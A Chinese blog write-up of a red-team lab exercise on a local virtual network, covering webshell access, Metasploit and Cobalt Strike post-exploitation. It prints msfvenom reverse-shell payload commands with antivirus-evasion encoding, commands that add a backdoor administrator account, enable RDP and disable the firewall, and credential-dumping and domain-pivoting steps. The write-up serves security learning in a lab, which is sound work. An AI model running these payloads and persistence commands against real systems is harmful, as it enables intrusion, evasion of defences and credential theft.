2020-03-05 | 渗透测试 | UNLOCK

ATT&CK红队评估(一)

环境搭建

网络拓扑图

靶机网卡及IP

  • kali攻击机:外网网卡;DHCP;192.168.91.130
  • Windows 7:双网卡;外网IP:192.168.91.141;内网IP:192.168.52.143
  • Win2k3:内网IP:192.168.52.141
  • Windows server 2008 R2:内网IP:192.168.52.138

getshell

通过yxcms后台 弱口令 + 模板文件 getshell。具体不详细说明,本文章主要记录内网渗透的过程。

使用蚁剑作为webshell管理工具,界面好看,支持中文。

MSF监听,反弹php-meterpreter

使用msfvenom生成payload文件,使用菜刀/蚁剑上传到WWW目录下:

使用handler模块接收反弹模块,在7777端口上进行监听,访问test.php,连接成功:

免杀payload

免杀这一块没有系统学习过,简单记录下:

  1. 正对上述PHP的MSF大马,可以使用多层编码解码对大马原文件进行加密,对关键字进行拆解免杀:

    关键字免杀:

  2. 使用msfvenom生成payload,这里的payload不采取生成pe文件,而采取shellcode方式,来借助第三方直接加载到内存中

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00\x0b' LHOST=XXXXXXX LPORT=7777 -f c

    编译为EXE文件并到目标主机上执行,即可免杀。

    学习链接:https://www.cnblogs.com/LyShark/p/11331476.html 含多种语言多种编译后门方式。

MSF提权

UAC提权

首先background将当前会话保存到后台,sessions可以查看当前后台所有会话,每个session对应一个ID值,use进入模块,将参数session设置为噶保存的session ID值,直接exploit,执行成功后会返回一个新的meterpreter,getsystem就可获得system权限。

原理参考《网络攻防实战研究 漏洞利用与提权》

此处已经是最高权限了,继续bypassuac,会提示:

MS系列未修补的漏洞进行提权

systeminfo命令查看系统打了说明补丁。ms13-081、ms15-051、ms16-032、ms17-010等,search搜索模块,use使用模块,set session Id

通过假冒令牌提权

用户登录windows操作系统时系统会给用户分配令牌,的那个用户访问资源系统是会使用令牌进行身份认证,若目标环境是域环境且域管理员登陆过有权限的终端即可假冒域管理员的角色
使用use incognito进入假冒令牌模块
list_tokens –u 查看存在的令牌
impersonate_token 用户名(\)

具体参看书籍。

CS利用

要获得CSbeacon,可以生成木马文件回弹beacon,也可以将MSF的meterpreter派生给CS

CS提权

elevate ms14-058 test

system上线:

MSF派生给CS

执行background将会话放到后台,切换payload

1
2
3
4
5
6
7
msf exploit(handler) >  use exploit/windows/local/payload_inject
msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http
msf exploit(payload_inject) > set DisablePayloadHandler true
msf exploit(payload_inject) > set LHOST [Listener监听IP]
msf exploit(payload_inject) > set LPORT [Listener监听端口]
msf exploit(payload_inject) > set SESSION [session ID]
msf exploit(payload_inject) > exploit

可能是php-meterpreter的会话与该模块不匹配。

试下Windows下的PE文件meterpreter

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.130 LPORT=8765 -f exe>shell.exe

MSF监听模块

蚁剑的虚拟终端执行:

收到meterpreter:

这是两个不同类型的meterpreter-shell

再尝试上述派生给CS(CS的Listener选择windows/beacon_http/reverse_http):

关于meterpreter php/windows,没有找到可派生的对应的模块。。

同理,CS的beacon也可以派生给MSFhttps://xz.aliyun.com/t/6722

解决中文乱码问题

meterpreter中

chcp 65001

CHCP是一个计算机指令,能够显示或设置活动代码页编号。

1
2
3
4
5
代码页 描述
65001 UTF-8代码页
950 繁体中文
936 简体中文默认的GBK
437 MS-DOS美国英语

修改后:

CS中:替换三个class文件(kali中复制粘贴不了,直接拖拽进去)

https://www.jianshu.com/p/79abd3062533

添加管理员账号并且远程访问

在目标主机上执行payload,可以通过cmd创建用户, 使用远程桌面连接执行文件:

1
2
3
net user fenghlz aaaAAA123@@@ /add   
net localgroup administrators fenghlz /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

可能有防火墙导致远程桌面服务无法启动,使用meterpreter

  • meterpreter > run post/windows/manage/enable_rdp 远程桌面服务防火墙

注意密码策略

最后还是看了密码策略才设置好的。。。

加入管理员组:

修改注册表允许远程连接:

可以远程登录:

不过会将当前已经登录用户挤下线

不能惊动管理员

CS与MSF联动

通过CS拿到一个beacon后,通过beacon内置的socks功能在VPS上开启代理端口,将本地的MSF直接带入目标内网。

Beacon下开启socks 端口 // 开启socks代理

View -> Proxy Pivots // 复制代理链接到MSF中

msf5 > setg Proxies socks4:192.168.91.130:7890 // 让msf所有模块的流量都通过此代理走。(setg全局设置)

msf5 > setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。

其他操作看不太懂。。

主机密码收集

CS中使用hashdumplogonpasswords

执行完上述两条命令后,在view -> Credentials下查看

LaZagne

https://github.com/AlessandroZ/LaZagne/releases

用于查找本地存储的所有密码,将exe文件上传到目标主机上再执行

推荐在meterpreter下执行shell,再执行该文件。beacon的交互shell也挺好,蚁剑的虚拟终端没有回显。

内网信息搜集

1. 补丁信息

踩坑:之前执行这个exe木马文件时,是在蚁剑下执行的,实际上是apache上的一个进程,当执行上面查看补丁的命令时,会失败:

我们可以迁移一下进程再执行(不一定成功)。

2. 安装软件信息

发现有nmap,可以直接利用nmap对内网192.168.52.*网段进行扫描

python可以对LaZagne-master项目上传python脚本到目标主机上,再对其进行打包成exe从而绕过MD5检测

3. 查看路由信息

添加路由到目标环境网络,使得MSF能够通过Win7路由转发访问192.168.52.0网段

添加成功:

4. 判断是否有域

  • whoami

    god

    提权后则显示:

  • ipconfig /all

  • hostname

  • nslookup god.org

    基本确定域控IP

  • systeminfo

  • net config workstation

  • net view /domain

  • net time /domain

5. 查找域控

  • net time /domain

  • net group "domain controllers" /domain

6. arp扫描52网段

7. Ladon扫描域内存活主机-系统-端口

CS联合K8gege的Ladon使用:

点击Load,选择cna后缀的文件,即可与CS联动使用

3.8版本的CS使用不了,换了K8gege的3.12版本(https://www.cnblogs.com/k8gege/p/10201007.html)

端口扫描效果并不理想,看下文使用受控靶机内的nmap扫描

8. nmap扫描主机(先关闭防火墙)

  • -sS:TCP SYN scans
  • -sV:探索开放的端口、确定服务/版本信息
  • -O:探测操作系统信息

尝试关闭防火墙

  • shell -> netsh advfirewall set allprofiles state off

需要管理员权限,先本地提权

再用nmap扫描一下:

使用nmap的vuln脚本扫描:

很多漏洞可以直接使用msf利用。

9. nmap扫描内网主机

先添加路由,再扫描。这个靶机中安装了nmap,也可以直接使用它的进行探测。

使用靶机自己安装的nmap进行扫描,结果不一样。。可能是防火墙的缘故,带来点思考。。

10. 域渗透分析工具BloodHound

安装

我在kali上进行安装的:https://www.cnblogs.com/backlion/p/10643132.html

1
2
3
apt-get update

apt-get dist-upgrade

安装后修改默认密码就可以打开使用了。

BloodHound主界面

1、界面左上角是菜单按钮和搜索栏。点开菜单按钮,有三个选项卡;

三个选项卡分别是:数据库信息、节点信息和查询;

在数据库信息下可以显示所分析域的用户数量、计算机数量、组数量、Sessions数量、ACLs数量、关系;

节点信息中显示了用户在图表中单击的节点的信息;

查询选项卡中显示了BloodHound预设置的查询请求和用户自己构建的查询请求。

2、右上角是设置区。第一个是刷新;第二个是导出图形功能,可将当前绘制的图形导出为JSON或PNG文件;

第三个是导入图形功能;第四个是上传数据功能,BloodHound会帮助我们分析并展示数据;

第五个是更改布局类型功能,用于在分层和强制定向图布局之间切换;第六个是设置功能,可以更改节点的折叠行为。

数据采集

学习资料:https://www.cnblogs.com/-chenxs/p/12375489.html

使用SharpHound.exe提取域内信息数据

注意cs连接的目标机需要是域用户登录(任何域用户均可)或者是system权限才能采集到有用的数据。

上传文件到被控机器

执行文件:

从GitHub上下载的最新的exe文件都不能在我的靶机上正常运行,看到了这个issue

在这个issue中,作者提供了较低版本,试了下,没有报错,但还是无法正常收集数据,可能是靶机的域配置有问题。

ps文件也不能正常运行,哭了。。

联动CS使用:链接地址

BloodHound官方使用指南

内网攻击

MS08-067

参考链接

ATT&CK实战 | 红队评估一(上)

评论加载中